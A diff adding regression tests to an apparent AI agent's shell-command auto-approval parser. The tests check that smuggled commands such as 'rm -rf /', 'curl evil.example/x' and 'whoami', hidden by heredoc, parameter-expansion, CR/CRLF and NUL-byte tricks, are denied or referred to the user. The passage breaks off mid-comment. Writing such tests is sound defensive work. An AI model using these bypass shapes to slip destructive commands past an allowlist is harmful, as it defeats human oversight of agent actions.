diff --git a/src/core/auto-approval/__tests__/commands.spec.ts b/src/core/auto-approval/__tests__/commands.spec.ts
index ade53c2b20..669b4f596b 100644
--- a/src/core/auto-approval/__tests__/commands.spec.ts
+++ b/src/core/auto-approval/__tests__/commands.spec.ts
@@ -38,9 +38,9 @@ describe("getCommandDecision", () => {
 	})
 })
 
-describe("containsDangerousSubstitution — node -e one-liner false positive regression", () => {
-	const nodeOneLiner = `node -e "const fs=require('fs');const p=JSON.parse(fs.readFileSync('prd.json','utf8'));const allowed=new Set(['pending','in-progress','complete','blocked']);const bad=(p.items||[]).filter(i=>!allowed.has(i.status));console.log('meta.status',p.meta?.status);console.log('workstreams', (p.workstreams||[]).length);console.log('items', (p.items||[]).length);console.log('statusCounts', (p.items||[]).reduce((a,i)=>(a[i.status]=(a[i.status]||0)+1,a),{}));console.log('invalidStatuses', bad.length);if(bad.length){console.log(bad.map(i=>i.id+':'+i.status).join('\\\\n'));process.exit(2);} "`
+const nodeOneLiner = `node -e "const fs=require('fs');const p=JSON.parse(fs.readFileSync('prd.json','utf8'));const allowed=new Set(['pending','in-progress','complete','blocked']);const bad=(p.items||[]).filter(i=>!allowed.has(i.status));console.log('meta.status',p.meta?.status);console.log('workstreams', (p.workstreams||[]).length);console.log('items', (p.items||[]).length);console.log('statusCounts', (p.items||[]).reduce((a,i)=>(a[i.status]=(a[i.status]||0)+1,a),{}));console.log('invalidStatuses', bad.length);if(bad.length){console.log(bad.map(i=>i.id+':'+i.status).join('\\\\n'));process.exit(2);} "`
 
+describe("containsDangerousSubstitution — node -e one-liner false positive regression", () => {
 	it("should NOT flag the complex node -e one-liner as dangerous substitution", () => {
 		expect(containsDangerousSubstitution(nodeOneLiner)).toBe(false)
 	})
@@ -86,8 +86,6 @@ describe("getCommandDecision — integration with dangerous substitution checks"
 	const allowedCommands = ["node", "echo"]
 
 	it("should auto-approve the complex node -e one-liner when node is allowed", () => {
-		const nodeOneLiner = `node -e "const fs=require('fs');const p=JSON.parse(fs.readFileSync('prd.json','utf8'));const allowed=new Set(['pending','in-progress','complete','blocked']);const bad=(p.items||[]).filter(i=>!allowed.has(i.status));console.log('meta.status',p.meta?.status);console.log('workstreams', (p.workstreams||[]).length);console.log('items', (p.items||[]).length);console.log('statusCounts', (p.items||[]).reduce((a,i)=>(a[i.status]=(a[i.status]||0)+1,a),{}));console.log('invalidStatuses', bad.length);if(bad.length){console.log(bad.map(i=>i.id+':'+i.status).join('\\\\n'));process.exit(2);} "`
-
 		expect(getCommandDecision(nodeOneLiner, allowedCommands)).toBe("auto_approve")
 	})
 
@@ -98,6 +96,689 @@ describe("getCommandDecision — integration with dangerous substitution checks"
 	it("should ask user for dangerous parameter expansion even when command is allowed", () => {
 		expect(getCommandDecision('echo "${var@P}"', allowedCommands)).toBe("ask_user")
 	})
+
+	it("does not auto-approve a substitution embedded in a parameter expansion", () => {
+		// The shell runs $(rm -rf ~/work) when x is unset. The inner command must
+		// therefore match the lists on its own. Allowing `echo` must not approve
+		// the payload.
+		expect(getCommandDecision("echo ${x:-$(rm -rf ~/work)}", ["echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a process substitution embedded in a parameter expansion", () => {
+		// With x unset, bash expands the alternate word and runs `rm a`. bash
+		// substitutes a device path for it. The inner command must match the
+		// lists on its own. Allowing `echo` must not approve the payload.
+		expect(getCommandDecision("echo ${x:-<(rm a)}", ["echo"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a nested substitution riding outer allowlist entries", () => {
+		// `$(foo $(rm -rf /) bar)` must decompose so that the innermost
+		// `rm -rf /` is evaluated on its own. A cut at the first ")" would let
+		// the payload share the allowlist match of the `foo` and `bar` entries.
+		expect(getCommandDecision("ls $(foo $(rm -rf /) bar)", ["ls", "foo", "bar"])).toBe("ask_user")
+	})
+
+	it("asks user when a heredoc opened inside a parameter expansion carries a substitution", () => {
+		// With x unset, bash expands the alternate word. That runs the heredoc
+		// body's $(evil), even though the expansion itself stays one segment.
+		expect(getCommandDecision("cat ${x:-y <<EOF\n$(evil)\nEOF\n}", ["cat"])).toBe("ask_user")
+	})
+
+	it("fails closed on a NUL byte gluing a substitution to an allowed command", () => {
+		// bash drops the NUL and runs the glued substitution. The placeholder
+		// degradation must not leave `git status$(whoami)` looking like one
+		// allowed word. The parser rejects the input as malformed instead.
+		expect(getCommandDecision("git status\x00$(whoami)", ["git"])).toBe("malformed_command")
+	})
+
+	it("asks user for a substitution on the heredoc opener line after the delimiter", () => {
+		// The shell expands the opener line's remainder even when the delimiter
+		// is quoted. The $(whoami) there therefore matches the lists on its own.
+		expect(getCommandDecision("cat <<EOF $(whoami)\nbody\nEOF", ["cat"])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a substitution hidden inside an opener-line parameter expansion", () => {
+		// bash expands `$(zap x)` inside `${x:-$(zap x)}` on the opener line and
+		// runs it. The extraction surfaces `zap x` as its own segment, so an
+		// allowlist covering the host must not carry the hidden command: the
+		// unlisted `zap x` costs a prompt.
+		const command = "cat <<E ${x:-$(zap x)}\nbody\nE"
+		expect(getCommandDecision(command, ["echo", "cat", "true"], ["rm"])).toBe("ask_user")
+		// The converse: the hidden command is decided on its own extraction, so
+		// allowlisting `zap` — not just the host — is what earns approval.
+		expect(getCommandDecision(command, ["cat", "zap"])).toBe("auto_approve")
+
+		const denied = getCommandDecisionDetailed(command, ["cat"], ["zap"])
+		expect(denied.decision).toBe("auto_deny")
+		expect(denied.offendingCommand).toBe("zap x")
+	})
+
+	it("fails closed on an opener-line quote that carries live syntax past the newline", () => {
+		// bash carries the `'` open across the newline and closes it at `b'`, so
+		// `; zap x` runs as live syntax the remainder cut cannot account for.
+		// The parser rejects the input as malformed: an allowlisted `cat` must
+		// not carry the hidden command.
+		expect(getCommandDecision("cat <<E 'a\nb'; zap x\nhi\nE", ["echo", "cat", "true"], ["rm"])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("does not auto-approve a denied command chained after a heredoc delimiter", () => {
+		// bash pipes the heredoc into `rm x`: the text after the delimiter word
+		// is live syntax, so `rm` must match the denylist on its own instead of
+		// riding the heredoc head's allowlist match.
+		expect(getCommandDecision("echo $(cat <<E | rm x\nhi\nE\n)", ["cat", "echo"], ["rm"])).toBe("auto_deny")
+		// The same rejection at the top level, without the surrounding expansion.
+		expect(getCommandDecision("cat <<E | rm x\nhi\nE", ["cat", "echo"], ["rm"])).toBe("auto_deny")
+		// An unlisted right-hand command costs a prompt, never an approval.
+		expect(getCommandDecision("echo $(cat <<E | grep x\nhi\nE\n)", ["cat", "echo"], [])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a denied command after a mid-word # in the opener remainder", () => {
+		// bash treats the `#` inside `f#g` as an ordinary character and still
+		// pipes into `rm x`. The remainder masking keeps the tail visible to
+		// the lists instead of letting a comment swallow it.
+		expect(getCommandDecision("echo $(cat <<E f#g | rm x\nhi\nE\n)", ["cat", "echo"], ["rm"])).toBe("auto_deny")
+	})
+
+	it("does not let a backslash-newline comment hide a denied payload from the lists", () => {
+		// The shell removes a backslash-newline pair before tokenizing, so the
+		// `#` after it starts the comment bash starts. When the comment line
+		// ends the frame's last command, the frame still closes at its `)` and
+		// the payload on the following line is its own segment: a deny rule on
+		// it decides the command, instead of the payload riding a mask the
+		// lists never see. When the comment swallows the frame closer and the
+		// heredoc opener, the payload re-scan starts at host level, where the
+		// same comment rule fires again and the executed line surfaces as its
+		// own word — the deny rule sees it there too. The even-run shape keeps
+		// the payload inside the open frame and still surfaces it to the
+		// denylist.
+		const denied = getCommandDecisionDetailed("echo $(a \\\n#b\nrm -rf /)", ["echo", "a"], ["rm"])
+		expect(denied.decision).toBe("auto_deny")
+		expect(denied.offendingCommand).toBe("rm -rf /")
+		expect(denied.matchedPattern).toBe("rm")
+
+		expect(getCommandDecision("echo $(a \\\n#b) <<E\nrm -rf /\n)\nE", ["echo"], ["rm"])).toBe("auto_deny")
+		expect(getCommandDecision("echo $(a\\\\\n#b) <<E\nzap x\n)\nE", ["echo"], ["zap"])).toBe("auto_deny")
+	})
+
+	it("does not let a host-level backslash-newline comment hide a denied payload from the lists", () => {
+		// Same hiding class one level up: at host level, each suppressed
+		// comment line made its `"` a live quote opener, and two such lines
+		// kept parity even, so executed lines rode quote-shaped segments the
+		// lists never matched. With the comments firing, the shape that still
+		// carries a live quote at end of input is refused outright — bash
+		// itself aborts on the same unmatched `"`. The quote-free shape keeps
+		// the executed line as its own word, so the deny rule sees it and the
+		// decision is auto_deny, naming the executed command.
+		const twoComment = 'echo a \\\n# "p\nprintf RAN1\n" q\nb \\\n# "r\nprintf RAN2\n" s'
+		expect(getCommandDecisionDetailed(twoComment, ["echo", "a", "q", "b", "s"], ["printf"]).decision).toBe(
+			"malformed_command",
+		)
+
+		const denied = getCommandDecisionDetailed("echo x \\\n# p\nprintf RAN", ["echo"], ["printf"])
+		expect(denied.decision).toBe("auto_deny")
+		expect(denied.offendingCommand).toBe("printf RAN")
+		expect(denied.matchedPattern).toBe("printf")
+	})
+
+	it("does not auto-approve a command hidden behind a |& pipe operator", () => {
+		// bash pipes stdout and stderr of `echo a` into `zap x`: `|&` is a pipe
+		// like `|`, so the right-hand command must match the lists on its own
+		// instead of riding the left-hand command's allowlist match.
+		const result = getCommandDecisionDetailed("echo a |& zap x", ["echo"], [])
+
+		expect(result.decision).toBe("ask_user")
+		expect(result.offendingCommand).toBe("zap x")
+
+		// The split decision-layer-wide: an allowlisted right-hand stage approves
+		// the whole pipeline, a denylisted one denies it, and the bare decision
+		// agrees with the detailed one on every stage set.
+		expect(getCommandDecisionDetailed("echo a |& echo b", ["echo"], [])).toEqual({ decision: "auto_approve" })
+
+		const denied = getCommandDecisionDetailed("echo a |& zap x", ["echo"], ["zap"])
+		expect(denied.decision).toBe("auto_deny")
+		expect(denied.offendingCommand).toBe("zap x")
+		expect(denied.matchedPattern).toBe("zap")
+
+		expect(getCommandDecision("echo a |& echo b", ["echo"], [])).toBe("auto_approve")
+		expect(getCommandDecision("echo a |& zap x", ["echo"], ["zap"])).toBe("auto_deny")
+		expect(getCommandDecision("echo a |& zap x", ["echo"], [])).toBe("ask_user")
+	})
+
+	it("does not auto-approve a denied command glued to the heredoc delimiter", () => {
+		// bash ends the delimiter word at `|`, so the body never terminates and
+		// `rm x` runs live. The parser cannot account for the construct and
+		// reports it malformed, which costs a rejection, never an approval.
+		expect(getCommandDecision("echo $(cat <<E|rm x\nhi\nE|rm\n)", ["cat", "echo"], ["rm"])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("auto-approves a heredoc pipeline whose every stage is allowlisted (no over-reject)", () => {
+		// A split the denylist never sees must not over-fire: an operator-free
+		// opener and an all-allowlisted right-hand command both stay approved.
+		expect(getCommandDecision("echo $(cat <<E\nhi\nE\n)", ["cat", "echo"], [])).toBe("auto_approve")
+		expect(getCommandDecision("echo $(cat <<E | grep x\nhi\nE\n)", ["cat", "echo", "grep"], [])).toBe(
+			"auto_approve",
+		)
+	})
+
+	it("denies a command chained after a # glued to a substitution closer", () => {
+		// bash keeps `$(ls)#x` as one word, so the chained `rm y` executes.
+		// The closer-aware remainder keeps it visible to the denylist instead
+		// of swallowing the tail as comment text.
+		expect(getCommandDecision("echo $(cat <<E $(ls)#x ; rm y\nhi\nE\n)", ["cat", "echo", "ls"], ["rm"])).toBe(
+			"auto_deny",
+		)
+	})
+
+	it("denies a command chained after a # glued to a process-substitution closer", () => {
+		// `<(...)` continues the word exactly like `$(...)`.
+		expect(getCommandDecision("echo $(cat <<E <(ls)#x ; rm y\nhi\nE\n)", ["cat", "echo", "ls"], ["rm"])).toBe(
+			"auto_deny",
+		)
+	})
+
+	it("denies a command glued directly after a # that follows a substitution closer", () => {
+		// The operator needs no blanks: bash still runs `rm y`, so the denylist
+		// must see it.
+		expect(getCommandDecision("echo $(cat <<E $(ls)#x|rm y\nhi\nE\n)", ["cat", "echo", "ls"], ["rm"])).toBe(
+			"auto_deny",
+		)
+	})
+
+	it("rejects a delimiter glued to a subshell paren instead of approving it", () => {
+		// bash rejects `cat <<E(rm x)` outright as a syntax error, so the
+		// parser must reject the construct too, never approve input whose
+		// parenthesized remainder hides commands from the lists.
+		expect(getCommandDecision("cat <<E(rm x)\nhi\nE", ["cat", "echo"], ["rm"])).toBe("malformed_command")
+	})
+
+	it("fails closed on a word-start pipe with no delimiter word", () => {
+		// bash reads `|` as the operator token where the delimiter word
+		// belongs and rejects the command outright. The no-word mask must not
+		// turn that syntax error into an approved opaque word. The deny head
+		// never reaches the lists: the whole command is rejected.
+		expect(getCommandDecision("cat <<|rm x\nhi\nE", ["cat", "echo", "ls"], ["rm"])).toBe("malformed_command")
+	})
+
+	it("fails closed on a word-start paren with no delimiter word", () => {
+		// `(` is the same operator-token shape as the pipe: bash rejects the
+		// command before executing anything, so the mask must not approve it.
+		expect(getCommandDecision("cat <<(x)\nhi\nE", ["cat", "echo", "ls"], ["rm"])).toBe("malformed_command")
+	})
+
+	it("denies a command chained after a # riding a group-frame closer", () => {
+		// bash balances the `(ls)` group before the `$( … )` closer, so the
+		// glued `#` continues the word and `rm y` really executes. It must
+		// reach the denylist as its own segment instead of being swallowed as
+		// comment text by a frame that popped at the group's closer.
+		expect(getCommandDecision("cat <<E $( (ls) )#x ; rm y\nhi\nE", ["cat", "echo", "ls"], ["rm"])).toBe("auto_deny")
+	})
+
+	it("auto-approves the blanks-only no-word mask (posture control)", () => {
+		// `<<` followed only by blanks before end of line is the shape the
+		// no-word mask is the accepted policy for: bash never executes it, so
+		// the mask's approval is not a policy over-approximation gap.
+		expect(getCommandDecision("cat << \nEOF\nrm -rf /\n", ["cat", "echo", "ls"], ["rm"])).toBe("auto_approve")
+	})
+
+	it("auto-approves a word-initial comment after a spaced substitution closer", () => {
+		// A blank before the `#` is a real word start: bash starts a comment
+		// there and never runs the tail, so approval stays bash-faithful.
+		expect(getCommandDecision("echo $(cat <<E $(ls) #x ; rm y\nhi\nE\n)", ["cat", "echo", "ls"], ["rm"])).toBe(
+			"auto_approve",
+		)
+	})
+
+	it("asks user for a substitution behind a # glued to a substitution closer on the opener line", () => {
+		// bash keeps `$(echo x)#$(zap y)` as one word, so the second
+		// substitution runs: `zap y` is its own segment and an allowlist
+		// covering the host must not carry it.
+		expect(getCommandDecision("cat <<E $(echo x)#$(zap y)\nbody\nE", ["cat", "echo"], [])).toBe("ask_user")
+	})
+
+	it("keeps the discarded tail of a bare-paren comment out of the segments", () => {
+		// bash balances the `(echo x)` group and starts a comment at the glued
+		// `#`, so `$(zap y)` never runs and never reaches the lists: the
+		// offending segment is the group alone, and a `zap` deny never sees
+		// the commented payload. Reading the bare `)` as a word continuation
+		// would extract `zap y` here and flip the deny to `auto_deny`: the
+		// deny call is the discriminator, the allow-only `ask_user` half on
+		// its own cannot tell the two readings apart.
+		const command = "cat <<E ;(echo x)#$(zap y)\nbody\nE"
+		const result = getCommandDecisionDetailed(command, ["cat", "echo"], [])
+		expect(result.decision).toBe("ask_user")
+		expect(result.offendingCommand).toBe("( echo x )")
+		expect(getCommandDecision(command, ["cat", "echo"], ["zap"])).toBe("ask_user")
+	})
+
+	it("asks user for a substitution in the body of a backslash-continuation delimiter", () => {
+		// bash removes the backslash-newline pair before tokenizing, leaving an
+		// ordinary unquoted delimiter, so it expands `$(touch x)` in the body
+		// and runs it. Allowing `cat` must not carry that command.
+		expect(getCommandDecision("cat <<E\\\n\n$(touch x)\nE", ["cat"], [])).toBe("ask_user")
+	})
+
+	it("auto-approves a genuinely quoted delimiter body (no over-ask)", () => {
+		// `<<'E'` is real quoting: bash never expands the body, so an
+		// allowlisted host keeps the approval. A delimiter rule that treated
+		// any escape-shaped byte as quoting would cost this a prompt.
+		expect(getCommandDecision("cat <<'E'\n$(touch x)\nE", ["cat"], [])).toBe("auto_approve")
+	})
+
+	it("asks user when a heredoc body with an unquoted delimiter contains a substitution", () => {
+		// The shell expands $(whoami) inside an unquoted-delimiter heredoc body.
+		// The inner command must therefore match the lists, even though the
+		// heredoc is one host segment.
+		const heredoc = "cat <<EOF\n$(whoami)\nEOF"
+		expect(getCommandDecision(heredoc, ["cat"])).toBe("ask_user")
+	})
+
+	it("asks user for a substitution inside the deprecated $[…] arithmetic form", () => {
+		// bash expands `$[ … ]` interiors before it evaluates them. `touch` must
+		// therefore match the lists on its own. It must not share the allowlist
+		// match of `echo`.
+		expect(getCommandDecision("echo $[1+$(touch /tmp/pwn; echo 1)]", ["echo"])).toBe("ask_user")
+	})
+
+	it("asks user for the line after a double-quoted-delimiter heredoc whose backslash bash keeps", () => {
+		// bash keeps `\` before `q`. The heredoc therefore ends at the `a\q`
+		// line, and `rm -rf /` is an ordinary following command the lists must
+		// see.
+		expect(getCommandDecision('cat <<"a\\q"\na\\q\nrm -rf /\naq\n', ["cat"])).toBe("ask_user")
+	})
+
+	it("asks user for the line after a heredoc whose terminator bash joins from continued lines", () => {
+		// `EO\` plus `F` joins into the `EOF` terminator before bash matches
+		// it. `rm -rf /` therefore runs as a following command. It is not
+		// masked body text.
+		expect(getCommandDecision("cat <<EOF\nEO\\\nF\nrm -rf /\n", ["cat"])).toBe("ask_user")
+	})
+
+	it("asks user when a <<- tabbed continuation pair does not join into the terminator", () => {
+		// Tabs join before stripping, so `\tEO\` plus `\tF` stays `EO\tF`. The
+		// heredoc runs to the real `EOF` line, and `rm -rf /` follows it as a
+		// live command. An allowlisted `cat` must not carry that command.
+		expect(getCommandDecision("cat <<-EOF\n\tEO\\\n\tF\ncat <<X\nEOF\nrm -rf /\nX\n", ["cat"])).toBe("ask_user")
+	})
+
+	it("fails closed on a CRLF heredoc whose backslash-CRLF pair only the msys read layer joins", () => {
+		// The msys/Cygwin read layer is the reference shell on the Windows
+		// target. It strips the CR from every line it reads. The line therefore
+		// ends with the lone backslash and continues. `EO\` plus `F` joins into
+		// the terminator, and the commands after it are live. POSIX bash reads
+		// `\<CR>` as an escaped CR and joins nothing, so the two models close
+		// on different lines. A join that consumes a CRLF makes the boundary
+		// model-dependent, and the parser rejects the input as malformed.
+		expect(getCommandDecision("cat <<EOF\r\nEO\\\r\nF\r\ntouch x\r\nEOF\r\n", ["cat"])).toBe("malformed_command")
+	})
+
+	it("never auto-approves the command a bare-CR heredoc terminator candidate exposes", () => {
+		// The msys read layer strips the bare CR. The body line then arrives as
+		// the terminator `EOF`, and `curl evil` would run live after it. POSIX
+		// bash keeps the CR and masks that line. A CR inside a scanned body
+		// line makes the mask boundary model-dependent. The parser therefore
+		// rejects the whole input as malformed. The cost is a prompt or a
+		// rejection, never an approval.
+		expect(getCommandDecision("cat <<EOF\nEO\rF\ncurl evil.example/x\nEOF\ncat ok", ["cat"])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("never auto-approves a bare-CR early close that re-exposes a masking heredoc opener", () => {
+		// The msys model closes the first heredoc at `EO<CR>F`. The scanner
+		// would then read the body line `cat <<X` as a live opener whose body
+		// masks `rm -rf /`. That decomposition is unaccountable. An
+		// allowlisted `cat` must never carry it to execution.
+		expect(getCommandDecision("cat <<EOF\nEO\rF\ncat <<X\nEOF\nrm -rf /\nX\n", ["cat"], [])).not.toBe(
+			"auto_approve",
+		)
+		expect(getCommandDecision("cat <<EOF\nEO\rF\ncat <<X\nEOF\nrm -rf /\nX\n", ["cat"], [])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("never auto-approves a CRLF-joined late close that masks a POSIX-executed command", () => {
+		// The msys join of `x\` plus the CRLF keeps the heredoc open past the
+		// line where POSIX bash ends it. There the delimiter word is `EOF<CR>`,
+		// and bash executes the line that msys masks. The two models diverge,
+		// so the input must cost a rejection. It must not auto-approve one
+		// masked `cat` command.
+		expect(getCommandDecision("cat <<EOF\r\nx\\\r\nEOF\r\nrm -rf /\r\nEOF\r\n", ["cat"], [])).not.toBe(
+			"auto_approve",
+		)
+		expect(getCommandDecision("cat <<EOF\r\nx\\\r\nEOF\r\nrm -rf /\r\nEOF\r\n", ["cat"], [])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("never auto-approves a CR-free body whose CRLF opener line splits the delimiter word", () => {
+		// The opener line's CRLF leaves msys reading the delimiter as `EOF`
+		// while POSIX bash reads `EOF<CR>`. The CR-free `EOF` line then closes
+		// the heredoc for msys only. The following `cat <<X` opener masks
+		// `rm -rf /` under that model. An allowlisted `cat` must never carry
+		// that decomposition to execution.
+		expect(getCommandDecision("cat <<EOF\r\nbody\nEOF\ncat <<X\nrm -rf /\nX\n", ["cat"], [])).not.toBe(
+			"auto_approve",
+		)
+		expect(getCommandDecision("cat <<EOF\r\nbody\nEOF\ncat <<X\nrm -rf /\nX\n", ["cat"], [])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("never auto-approves the masking heredoc exposed by a CRLF-terminated terminator line", () => {
+		// With an LF opener, both models read the delimiter as `EOF`. The CR on
+		// the terminator candidate is ordinary content for POSIX bash. The msys
+		// read layer strips that CR and closes the body there. That re-exposes
+		// `cat <<X` as a live opener masking `rm -rf /`. The divergence must
+		// cost a rejection, never an approval.
+		expect(getCommandDecision("cat <<EOF\nEOF\r\ncat <<X\nEOF\nrm -rf /\nX\n", ["cat"], [])).not.toBe(
+			"auto_approve",
+		)
+		expect(getCommandDecision("cat <<EOF\nEOF\r\ncat <<X\nEOF\nrm -rf /\nX\n", ["cat"], [])).toBe(
+			"malformed_command",
+		)
+	})
+
+	it("asks user for the inner commands of process substitutions", () => {
+		expect(getCommandDecision("diff <(sort a) <(sort b)", ["diff"])).toBe("ask_user")
+	})
+
+	it("auto-approves an unbalanced delimiter inside single quotes", () => {
+		// A shell never parses delimiter characters inside single quotes, so an
+		// unbalanced "$(" there is ordinary argument text, not a syntax error.
+		expect(getCommandDecision("echo 'a $(b'", ["echo"])).toBe("auto_approve")
+	})
+
+	it("fails closed on an unmatched closer even when the first word is allowed", () => {
+		// A "}" with no matching "{" leaves the parser unable to account for
+		// the structure. The decision stays a rejection. An allowlisted first
+		// word must not carry it straight to execution.
+		expect(getCommandDecision("echo }", ["echo"])).toBe("malformed_command")
+		// bash reads "<<" inside "${...}" as an arithmetic shift. It runs
+		// "evil" and "E" as command lines, and refuses the trailing "}".
+		// Treating the "<<" as a heredoc opener would mask those lines and
+		// auto-approve the whole command. The closed frame rejects it instead.
+		const shift = "echo ${x:1<<E }\nevil\nE\n}"
+		expect(getCommandDecision(shift, ["echo"], [])).toBe("malformed_command")
+		expect(getCommandDecision(shift, ["echo", "evil", "E"], [])).toBe("malformed_command")
+	})
+
+	it("routes words with balanced braces or a bare closer through the normal approval flow", () => {
+		// bash runs all three commands. `find -exec {} \;` is a placeholder,
+		// `src/{a,b}` is brace expansion, and a depth-0 ")" cannot hide a
+		// substitution. None is malformed, so the allowlisted first word
+		// decides.
+		expect(getCommandDecision("find . -exec rm {} \\;", ["find"], [])).toBe("auto_approve")
+		expect(getCommandDecision("mkdir -p src/{a,b}", ["mkdir"], [])).toBe("auto_approve")
+		expect(getCommandDecision("git show HEAD@{1}", ["git"], [])).toBe("auto_approve")
+		expect(getCommandDecision("echo )", ["echo"], [])).toBe("auto_approve")
+	})
+
+	it("fails closed on an unclosed arithmetic opener even when the first word is allowed", () => {
+		// bash refuses an unclosed "$((" . The masked remainder must not let
+		// the allowlisted "echo" carry a never-closed "$(" straight to
+		// execution.
+		expect(getCommandDecision("echo $(( $(evil)", ["echo"])).toBe("malformed_command")
+	})
+
+	it("fails closed on a CR-only heredoc opener even when the first word is allowed", () => {
+		// A lone CR does not terminate the opener line, so the heredoc is
+		// unterminated. The input must not look well-formed to the allowlists.
+		expect(getCommandDecision("cat <<EOF\r$(evil)\rEOF", ["cat"])).toBe("malformed_command")
+	})
+
+	it("fails closed on a CR immediately after a bare-<< opener", () => {
+		// A lone CR is not a line terminator for bash, so the opener line never
+		// ends. The parser reports the heredoc as unterminated. The allowlisted
+		// `cat` must not carry the masked remainder.
+		expect(getCommandDecision("cat <<\rEOF\nEOF\nrm -rf /\n", ["cat"], [])).toBe("malformed_command")
+	})
+
+	it("fails closed on a bare-<< heredoc whose opener line ends CRLF", () => {
+		// The CR inside the masked span leaves the msys and POSIX read layers
+		// reading different bytes. The mask cannot then be verified in a
+		// model-independent way, so it fails closed. The decision is a
+		// rejection, never the approval an opaque `cat` word would otherwise
+		// earn. The first input isolates the opener CR (no CR in the body);
+		// the second keeps the opener-plus-body-CR coverage.
+		expect(getCommandDecision("cat << \r\nEOF\nrm -rf /\n", ["cat"], [])).toBe("malformed_command")
+		expect(getCommandDecision("cat << \r\nEOF\n\r\nrm -rf /\n", ["cat"], [])).toBe("malformed_command")
+	})
+
+	it("fails closed on a bare-<< heredoc whose CR rides against the opener", () => {
+		// This is the same decision-level rejection with the CR directly after
+		// `<<`. One CR byte inside the masked region is enough to fail the
+		// heredoc closed. The first input isolates the opener CR; the second
+		// adds a body CR.
+		expect(getCommandDecision("cat <<\r\nEOF\nrm -rf /\n", ["cat"], [])).toBe("malformed_command")
+		expect(getCommandDecision("cat <<\r\nEOF\n\r\nrm -rf /\n", ["cat"], [])).toBe("malformed_command")
+	})
+
+	it("auto-approves a CR-free bare-<< heredoc (no over-fire)", () => {
+		// The masked span here is byte-identical under both read layers. The
+		// accepted masking policy for this never-runnable shape is therefore
+		// unchanged. A CR-free bare-<< opener still masks through end of input
+		// and stays approved under an allowlisted `cat`.
+		expect(getCommandDecision("cat <<\nEOF\nrm -rf /\n", ["cat"], [])).toBe("auto_approve")
+	})
+
+	it("fails closed on a CR-joined brace opener even when the first word is allowed", () => {
+		// The CR in the continuation makes the joined `${` ambiguous between
+		// read models of the executing shell. The parser refuses the input, so
+		// the allowlisted `echo` must not carry the masked brace group to an
+		// approval. The LF-only join is the accept path: bash really joins it.
+		expect(getCommandDecision("echo $\\\r\n{ touch /tmp/cr.marker; }", ["echo"], [])).toBe("malformed_command")
+		expect(
+			getCommandDecision("echo a$\\\n{x:-$(printf RAN > ran.marker)}", ["echo", "printf RAN > ran.marker"], []),
+		).toBe("auto_approve")
+	})
+
+	it("does not let a glob inside a substitution payload ride the host allowlist", () => {
+		// shell-quote reduces `rm*` to an inert `glob` token, so the re-scanned
+		// payload reads as the bare word `glob`. With that word allowlisted the
+		// whole command used to auto-approve while bash could glob-expand the
+		// pattern onto denylisted binaries. The payload now fails closed, so
+		// neither rule set carries it.
+		expect(getCommandDecision("echo $(rm* /tmp/victim)", ["echo", "glob"], [])).toBe("malformed_command")
+		// Deny side: the denylist no longer sees a bare `glob` word it cannot
+		// match; the input is rejected outright instead of asking on an
+		// under-approximated segment list.
+		expect(getCommandDecision("echo $(rm* /tmp/victim)", ["echo"], ["rm"])).toBe("malformed_command")
+		// Accept path: a payload without a glob token still decomposes and
+		// rides the host allowlist unchanged.
+		expect(getCommandDecision("echo $(printf x /tmp/victim)", ["echo", "printf x /tmp/victim"], [])).toBe(
+			"auto_approve",
+		)
+	})
+
+	it("asks user when a quoted-empty heredoc delimiter lets a later command escape", () => {
+		// bash's quote removal makes `<<''` terminate at the first blank line,
+		// so `rm -rf /` really executes as its own command. Now that the parser
+		// splits it out, the unallowed segment costs a prompt. It must not
+		// share the allowlist match of `cat`.
+		expect(getCommandDecision("cat <<''\nbody\n\nrm -rf /", ["cat"])).toBe("ask_user")
+	})
+
+	it("fails closed on an unclosed delimiter quote hiding an executable tail", () => {
+		// bash carries the open quote across the newline and runs `; rm -rf /`
+		// as a separate command. The parser rejects the input as malformed, so
+		// no partial decomposition can auto-approve it.
+		expect(getCommandDecision("cat <<'X\r\n'; rm -rf /\nX\r\n", ["cat"])).toBe("malformed_command")
+	})
+
+	it("does not approve a deny command joined onto the opener line by a backslash", () => {
+		// `'a'` closes before the trailing backslash, so bash joins the body's
+		// `; rm -rf /` line onto the opener line as live syntax the remainder
+		// cut never sees. The heredoc fails closed, and the deny payload never
+		// reaches tokenization: an allowlisted `cat` must not carry it.
+		expect(getCommandDecision("cat <<E 'a'\\\n; rm -rf /\nE\n", ["cat"], [])).toBe("malformed_command")
+		expect(getCommandDecision("cat <<E 'a'\\\n; rm -rf /\nE\n", ["cat"], ["rm"])).toBe("malformed_command")
+	})
+
+	it("fails closed on deny commands joined by backslash runs the remainder quote walk must track", () => {
+		// Two more crafted joins reach the same decision through different walk
+		// branches. `\'` keeps the `'` escaped, so the run there is unquoted;
+		// `"a\"b'` ends with an open single quote that the double-quote branch
+		// must step over. Both joins must fail closed before the deny payload
+		// tokenizes. `"a"b'` additionally pins the accept side: an open single
+		// quote at the run keeps the guard silent, and a walk that loses that
+		// state rejects this ordinary heredoc instead of approving it.
+		expect(getCommandDecision("cat <<E a\\'\\\n; rm -rf /\nE\n", ["cat"], [])).toBe("malformed_command")
+		expect(getCommandDecision("cat <<E a\\'\\\n; rm -rf /\nE\n", ["cat"], ["rm"])).toBe("malformed_command")
+		expect(getCommandDecision('cat <<E "a\\"b\'\\\n; rm -rf /\nE\n', ["cat"], [])).toBe("malformed_command")
+		expect(getCommandDecision('cat <<E "a\\"b\'\\\n; rm -rf /\nE\n', ["cat"], ["rm"])).toBe("malformed_command")
+		expect(getCommandDecision('cat <<E "a"b\'\\\n; rm -rf /\nE\n', ["cat"], [])).toBe("auto_approve")
+	})
+
+	it("decides opener-remainder quote, procsub-chain, and redirect shapes by their decomposition", () => {
+		// Decision-layer mirror of the remainder-walk pins: a quote region
+		// only closes on its own character, so the cross-quoted remainders
+		// drop the `#c` tail inside the still-open region and leave a
+		// heredoc whose every command is allowlisted; the closer-boundary
+		// shapes keep `#c` as word content and stay approved; a `>(…)`
+		// chain makes its payloads match the lists on their own, so an
+		// unlisted payload costs a prompt; and a plain `>`/`<` redirect
+		// stays host text that never masks a command from the lists.
